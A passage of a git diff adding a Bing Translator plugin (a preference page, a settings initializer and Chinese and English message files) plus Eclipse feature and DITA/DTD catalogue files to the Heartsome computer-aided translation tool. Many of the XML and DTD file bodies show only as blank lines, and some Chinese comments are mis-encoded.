!bingKey.trim().equals("") && id != null && !id.equals("")) { + Translate.setClientId(id); + Translate.setClientSecret(bingKey); + try { + String result = Translate.execute("test", BingTransUtils.processLanguage("en-US"), + BingTransUtils.processLanguage("zh-CN")); + if (result.equals("测试")) { + state = true; + } else { + state = false; + } + } catch (Exception e) { + state = false; + } + } else { + state = false; + } + } + }); + } + + private void setValues(boolean blnIsApplyDefault) { + if (blnIsApplyDefault) { + this.state = ps.getDefaultBoolean(IPreferenceConstant.STATE); + this.idText.setText(ps.getDefaultString(IPreferenceConstant.ID)); + this.bingKeyText.setText(ps.getDefaultString(IPreferenceConstant.KEY)); + enableComponent(state); // æ ¹æ®éœ€è¦æ˜¯å¦ç¦ç”¨å…¶ä»–选项 + } else { + this.state = ps.getBoolean(IPreferenceConstant.STATE); + enableComponent(state); + this.idText.setText(ps.getString(IPreferenceConstant.ID)); + this.bingKeyText.setText(ps.getString(IPreferenceConstant.KEY)); + } + } + + @Override + public void dispose() { + if (rightImage != null) { + rightImage.dispose(); + } + if (errorImage != null) { + errorImage.dispose(); + } + super.dispose(); + } +} diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/preference/BingTransPreferenceInitializer.java b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/preference/BingTransPreferenceInitializer.java new file mode 100644 index 0000000..7bf04df --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/preference/BingTransPreferenceInitializer.java @@ -0,0 +1,46 @@ +/** + * GooglTransPreferenceInitializer.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.bingtrans.preference; + +import net.heartsome.cat.ts.bingtrans.Activator; +import net.heartsome.cat.ts.bingtrans.bean.IPreferenceConstant; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class BingTransPreferenceInitializer extends AbstractPreferenceInitializer { + + + /** (non-Javadoc) + * @see org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer#initializeDefaultPreferences() + */ + @Override + public void initializeDefaultPreferences() { + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + ps.setDefault(IPreferenceConstant.STATE, false); + ps.setDefault(IPreferenceConstant.ID, ""); + ps.setDefault(IPreferenceConstant.KEY, ""); + + ps.setDefault(IPreferenceConstant.NO_REPEATE_ACCESS, true); + ps.setDefault(IPreferenceConstant.ALWAYS_ACCESS, false); + ps.setDefault(IPreferenceConstant.MANUAL_ACCESS, false); + + ps.setDefault(IPreferenceConstant.PRETRANS_STATE, false); + } + +} diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/Messages.java b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/Messages.java new file mode 100644 index 0000000..5a47d75 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.bingtrans.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.bingtrans.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/message.properties b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/message.properties new file mode 100644 index 0000000..402a556 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/message.properties @@ -0,0 +1,22 @@ +handler.ExecuteBingTransHandler.msgTitle = \u63d0\u793a +handler.ExecuteBingTransHandler.msg = \u65e0\u6cd5\u4f7f\u7528 Bing Translator \u673a\u5668\u7ffb\u8bd1\uff0c\u8bf7\u786e\u8ba4\u5df2\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1 > Bing Translator \u4e2d\u586b\u5165\u4e86\u6b63\u786e\u7684\u5ba2\u6237\u7aef ID \u548c\u5bc6\u94a5\u3001\u4e14\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002 +handler.ExecuteBingTransHandler.task = \u6b63\u5728\u6267\u884c Bing Translator \u673a\u5668\u7ffb\u8bd1... + +preference.BingPreferencePage.apiKeySettingGroup = \u8eab\u4efd\u9a8c\u8bc1 +preference.BingPreferencePage.lbKeySetting = \u586b\u5199\u4ece Microsoft \u514d\u8d39\u7533\u8bf7\u7684 Bing Translator \u9a8c\u8bc1\u4fe1\u606f\uff1a +preference.BingPreferencePage.lblId = \u5ba2\u6237\u7aef ID\uff1a +preference.BingPreferencePage.lblApiKey = \u5bc6\u94a5\uff1a +preference.BingPreferencePage.validateKey = \u6d4b\u8bd5\u53ef\u7528\u6027 +preference.BingPreferencePage.msgTitle = \u63d0\u793a +preference.BingPreferencePage.msg1 = \u8bf7\u8f93\u5165\u5ba2\u6237\u7aef ID\u3002 +preference.BingPreferencePage.msg2 = \u8bf7\u8f93\u5165\u5bc6\u94a5\u3002 +preference.BingPreferencePage.msg3 = Bing Translator \u673a\u5668\u7ffb\u8bd1\u65e0\u6cd5\u4f7f\u7528\uff0c\u8bf7\u786e\u8ba4\u5982\u4e0b\u4fe1\u606f\uff1a\n1\u3001\u5ba2\u6237\u7aef ID \u53ca\u5bc6\u94a5\u662f\u5426\u6b63\u786e\uff1b\n2\u3001\u662f\u5426\u8ba2\u9605\u4e86 Microsoft Translator \u7684\u514d\u8d39\u6d41\u91cf\u3002 +preference.BingPreferencePage.link = \u514d\u8d39\u7533\u8bf7 Bing Translator \u5bc6\u94a5 +preference.BingPreferencePage.apiAccessibilityGroup = \u81ea\u52a8\u673a\u5668\u7ffb\u8bd1 +preference.BingPreferencePage.accessibility = \u9884\u7ffb\u8bd1\u53ca\u9009\u4e2d\u6587\u672c\u6bb5\u65f6\uff0c\u6309\u5982\u4e0b\u7b56\u7565\u81ea\u52a8\u6267\u884c Bing Translator \u673a\u5668\u7ffb\u8bd1\uff1a +preference.BingPreferencePage.noRepeatAccessBtn = \u65e0 Bing Translator \u9884\u5b58\u5339\u914d\u65f6\u81ea\u52a8\u6267\u884c +preference.BingPreferencePage.alwaysAccessBtn = \u59cb\u7ec8\u81ea\u52a8\u6267\u884c +preference.BingPreferencePage.neverAccessBtn = \u624b\u52a8\u6267\u884c +preference.BingPreferencePage.preTransGroup = \u9884\u5b58 Bing Translator \u7ffb\u8bd1 +preference.BingPreferencePage.preTrans = \u82e5\u542f\u7528\u9884\u5b58 Bing Translator \u7ffb\u8bd1\uff0c\u53ef\u907f\u514d\u91cd\u590d\u8bbf\u95ee\u800c\u4ea7\u751f\u7684\u989d\u5916\u6d41\u91cf\u8d39\u7528\uff0c\u4e5f\u53ef\u5b9e\u65f6\u83b7\u53d6\u673a\u5668\u7ffb\u8bd1\u5339\u914d\u3002 +preference.BingPreferencePage.suportPreTransBtn = \u9884\u5b58 Bing Translator \u7ffb\u8bd1 diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/message_en.properties b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/message_en.properties new file mode 100644 index 0000000..1eed602 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/message_en.properties @@ -0,0 +1,22 @@ +handler.ExecuteBingTransHandler.msgTitle = Message +handler.ExecuteBingTransHandler.msg = Unable to use Bing Translator machine translation. Please make sure you have filled in the correct client ID and key in Tools > Options > Translation > Bing Translator, and that you are connected to the Internet. +handler.ExecuteBingTransHandler.task = Translating files using Bing Translator... + +preference.BingPreferencePage.apiKeySettingGroup = Authentication +preference.BingPreferencePage.lbKeySetting = Fill in the free Bing Translator client ID and key applied from Microsoft: +preference.BingPreferencePage.lblId = Client ID: +preference.BingPreferencePage.lblApiKey = Key: +preference.BingPreferencePage.validateKey = Test +preference.BingPreferencePage.msgTitle = Message +preference.BingPreferencePage.msg1 = Please enter your client ID. +preference.BingPreferencePage.msg2 = Please enter your key. +preference.BingPreferencePage.msg3 = If Bing Translator is not available, please check the following:\n1. Are your client ID and key correct?\n2. Have you registered the free service from Microsoft Translator? +preference.BingPreferencePage.link = Apply for the free key from Bing Translator +preference.BingPreferencePage.apiAccessibilityGroup = Automatic Machine Translation +preference.BingPreferencePage.accessibility = Automatically perform machine translation with Bing Translator according to the following policy when pre-translating or selecting any segment: +preference.BingPreferencePage.noRepeatAccessBtn = When no pre-stored translations from Bing Translator +preference.BingPreferencePage.alwaysAccessBtn = Always +preference.BingPreferencePage.neverAccessBtn = Never, I'll do that manually +preference.BingPreferencePage.preTransGroup = Pre-store Bing Translator translations +preference.BingPreferencePage.preTrans = If you enable pre-storage of Bing Translator translations, you can avoid repeated visits and additional costs while getting access to real-time machine translation matches. +preference.BingPreferencePage.suportPreTransBtn = Pre-store Bing Translator translations diff --git a/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/message_zh.properties b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/message_zh.properties new file mode 100644 index 0000000..402a556 --- /dev/null +++ b/ts/net.heartsome.cat.ts.bingtrans/src/net/heartsome/cat/ts/bingtrans/resource/message_zh.properties @@ -0,0 +1,22 @@ +handler.ExecuteBingTransHandler.msgTitle = \u63d0\u793a +handler.ExecuteBingTransHandler.msg = \u65e0\u6cd5\u4f7f\u7528 Bing Translator \u673a\u5668\u7ffb\u8bd1\uff0c\u8bf7\u786e\u8ba4\u5df2\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1 > Bing Translator \u4e2d\u586b\u5165\u4e86\u6b63\u786e\u7684\u5ba2\u6237\u7aef ID \u548c\u5bc6\u94a5\u3001\u4e14\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002 +handler.ExecuteBingTransHandler.task = \u6b63\u5728\u6267\u884c Bing Translator \u673a\u5668\u7ffb\u8bd1... + +preference.BingPreferencePage.apiKeySettingGroup = \u8eab\u4efd\u9a8c\u8bc1 +preference.BingPreferencePage.lbKeySetting = \u586b\u5199\u4ece Microsoft \u514d\u8d39\u7533\u8bf7\u7684 Bing Translator \u9a8c\u8bc1\u4fe1\u606f\uff1a +preference.BingPreferencePage.lblId = \u5ba2\u6237\u7aef ID\uff1a +preference.BingPreferencePage.lblApiKey = \u5bc6\u94a5\uff1a +preference.BingPreferencePage.validateKey = \u6d4b\u8bd5\u53ef\u7528\u6027 +preference.BingPreferencePage.msgTitle = \u63d0\u793a +preference.BingPreferencePage.msg1 = \u8bf7\u8f93\u5165\u5ba2\u6237\u7aef ID\u3002 +preference.BingPreferencePage.msg2 = \u8bf7\u8f93\u5165\u5bc6\u94a5\u3002 +preference.BingPreferencePage.msg3 = Bing Translator \u673a\u5668\u7ffb\u8bd1\u65e0\u6cd5\u4f7f\u7528\uff0c\u8bf7\u786e\u8ba4\u5982\u4e0b\u4fe1\u606f\uff1a\n1\u3001\u5ba2\u6237\u7aef ID \u53ca\u5bc6\u94a5\u662f\u5426\u6b63\u786e\uff1b\n2\u3001\u662f\u5426\u8ba2\u9605\u4e86 Microsoft Translator \u7684\u514d\u8d39\u6d41\u91cf\u3002 +preference.BingPreferencePage.link = \u514d\u8d39\u7533\u8bf7 Bing Translator \u5bc6\u94a5 +preference.BingPreferencePage.apiAccessibilityGroup = \u81ea\u52a8\u673a\u5668\u7ffb\u8bd1 +preference.BingPreferencePage.accessibility = \u9884\u7ffb\u8bd1\u53ca\u9009\u4e2d\u6587\u672c\u6bb5\u65f6\uff0c\u6309\u5982\u4e0b\u7b56\u7565\u81ea\u52a8\u6267\u884c Bing Translator \u673a\u5668\u7ffb\u8bd1\uff1a +preference.BingPreferencePage.noRepeatAccessBtn = \u65e0 Bing Translator \u9884\u5b58\u5339\u914d\u65f6\u81ea\u52a8\u6267\u884c +preference.BingPreferencePage.alwaysAccessBtn = \u59cb\u7ec8\u81ea\u52a8\u6267\u884c +preference.BingPreferencePage.neverAccessBtn = \u624b\u52a8\u6267\u884c +preference.BingPreferencePage.preTransGroup = \u9884\u5b58 Bing Translator \u7ffb\u8bd1 +preference.BingPreferencePage.preTrans = \u82e5\u542f\u7528\u9884\u5b58 Bing Translator \u7ffb\u8bd1\uff0c\u53ef\u907f\u514d\u91cd\u590d\u8bbf\u95ee\u800c\u4ea7\u751f\u7684\u989d\u5916\u6d41\u91cf\u8d39\u7528\uff0c\u4e5f\u53ef\u5b9e\u65f6\u83b7\u53d6\u673a\u5668\u7ffb\u8bd1\u5339\u914d\u3002 +preference.BingPreferencePage.suportPreTransBtn = \u9884\u5b58 Bing Translator \u7ffb\u8bd1 diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/.project b/ts/net.heartsome.cat.ts.configurationfile.feature/.project new file mode 100644 index 0000000..9bd04c5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.ts.configurationfile.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/build.properties b/ts/net.heartsome.cat.ts.configurationfile.feature/build.properties new file mode 100644 index 0000000..6a2cf19 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/build.properties @@ -0,0 +1,2 @@ +javacDefaultEncoding.. = UTF-8 +root.folder.configuration=configuration \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/.cvsignore b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/.cvsignore new file mode 100644 index 0000000..8c8d611 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/.cvsignore @@ -0,0 +1,7 @@ +org.eclipse.osgi +org.eclipse.equinox.app +org.eclipse.equinox.simpleconfigurator +org.eclipse.update +org.eclipse.core.runtime +dev.properties +config.ini diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/abiword/awml.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/abiword/awml.dtd new file mode 100644 index 0000000..5714a80 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/abiword/awml.dtd @@ -0,0 +1,164 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/catalog/catalog.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/catalog/catalog.dtd new file mode 100644 index 0000000..2d8b5fb --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/catalog/catalog.dtd @@ -0,0 +1,174 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/catalog/catalog.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/catalog/catalog.xsd new file mode 100644 index 0000000..a21252c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/catalog/catalog.xsd @@ -0,0 +1,230 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/catalogue.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/catalogue.xml new file mode 100644 index 0000000..0d23063 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/catalogue.xml @@ -0,0 +1,231 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/catalog-dita.txt b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/catalog-dita.txt new file mode 100644 index 0000000..f84bddc --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/catalog-dita.txt @@ -0,0 +1,51 @@ +-- Catalog for Dita -- +-- (C) Copyright OASIS Open 2005. -- +-- (C) Copyright IBM Corporation 2001, 2004. -- +-- All Rights Reserved. -- + +-- Dita DTDs -- + +PUBLIC "-//OASIS//DTD DITA Concept//EN" "concept.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Concept//EN" "concept.mod" + +PUBLIC "-//OASIS//DTD DITA Composite//EN" "ditabase.dtd" + +PUBLIC "-//OASIS//DTD DITA Reference//EN" "reference.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Reference//EN" "reference.mod" + +PUBLIC "-//OASIS//DTD DITA Task//EN" "task.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Task//EN" "task.mod" + +PUBLIC "-//OASIS//DTD DITA Topic//EN" "topic.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Topic//EN" "topic.mod" +PUBLIC "-//OASIS//ENTITIES DITA Topic Class//EN" "topicAttr.mod" +PUBLIC "-//OASIS//ENTITIES DITA Topic Definitions//EN" "topicDefn.ent" + +-- Maps -- + +PUBLIC "-//OASIS//DTD DITA Map//EN" "map.dtd" +PUBLIC "-//OASIS//ELEMENTS DITA Map//EN" "map.mod" +PUBLIC "-//OASIS//ENTITIES DITA Map Group Domain//EN" "mapGroup.ent" +PUBLIC "-//OASIS//ELEMENTS DITA Map Group Domain//EN" "mapGroup.mod" + +-- Domains -- + +PUBLIC "-//OASIS//ELEMENTS DITA Highlight Domain//EN" "highlightDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA Highlight Domain//EN" "highlightDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA Programming Domain//EN" "programmingDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA Programming Domain//EN" "programmingDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA Software Domain//EN" "softwareDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA Software Domain//EN" "softwareDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA User Interface Domain//EN" "uiDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA User Interface Domain//EN" "uiDomain.ent" + +PUBLIC "-//OASIS//ELEMENTS DITA Utilities Domain//EN" "utilitiesDomain.mod" +PUBLIC "-//OASIS//ENTITIES DITA Utilities Domain//EN" "utilitiesDomain.ent" + +-- Common -- + +PUBLIC "-//OASIS//ELEMENTS DITA Metadata//EN" "metaDecl.mod" +PUBLIC "-//OASIS//ELEMENTS DITA CALS Tables//EN" "tblDecl.mod" diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/catalog-dita.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/catalog-dita.xml new file mode 100644 index 0000000..16e3b27 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/catalog-dita.xml @@ -0,0 +1,87 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/concept.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/concept.dtd new file mode 100644 index 0000000..c068387 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/concept.dtd @@ -0,0 +1,152 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + + +%concept-typemod; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/concept.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/concept.mod new file mode 100644 index 0000000..f10d1a8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/concept.mod @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/ditabase.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/ditabase.dtd new file mode 100644 index 0000000..7289930 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/ditabase.dtd @@ -0,0 +1,180 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%ui-d-dec; + + +%hi-d-dec; + + +%pr-d-dec; + + +%sw-d-dec; + + +%ut-d-dec; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%topic-type; + + + + +%concept-typemod; + + + +%task-typemod; + + + +%reference-typemod; + + + + + + + + +%ui-d-def; + + +%hi-d-def; + + +%pr-d-def; + + +%sw-d-def; + + +%ut-d-def; + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/highlightDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/highlightDomain.ent new file mode 100644 index 0000000..7c5480c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/highlightDomain.ent @@ -0,0 +1,43 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/highlightDomain.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/highlightDomain.mod new file mode 100644 index 0000000..141bd67 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/highlightDomain.mod @@ -0,0 +1,111 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/map.dtd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/map.dtd new file mode 100644 index 0000000..dd3dcea --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/map.dtd @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%mapgroup-d-dec; + + + + + + + + + + + + + + + + + + + + +%map-type; + + + + + + + + +%mapgroup-d-def; + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/map.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/map.mod new file mode 100644 index 0000000..cafe426 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/map.mod @@ -0,0 +1,319 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +%metaXML; + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/mapGroup.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/mapGroup.ent new file mode 100644 index 0000000..9fae86e --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/mapGroup.ent @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/mapGroup.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/mapGroup.mod new file mode 100644 index 0000000..8b1d390 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/mapGroup.mod @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/metaDecl.mod b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/metaDecl.mod new file mode 100644 index 0000000..78205db --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/metaDecl.mod @@ -0,0 +1,277 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/programmingDomain.ent b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/dita1.0/programmingDomain.ent new file mode 100644 index 0000000..05c0782 --- /dev/null +++ 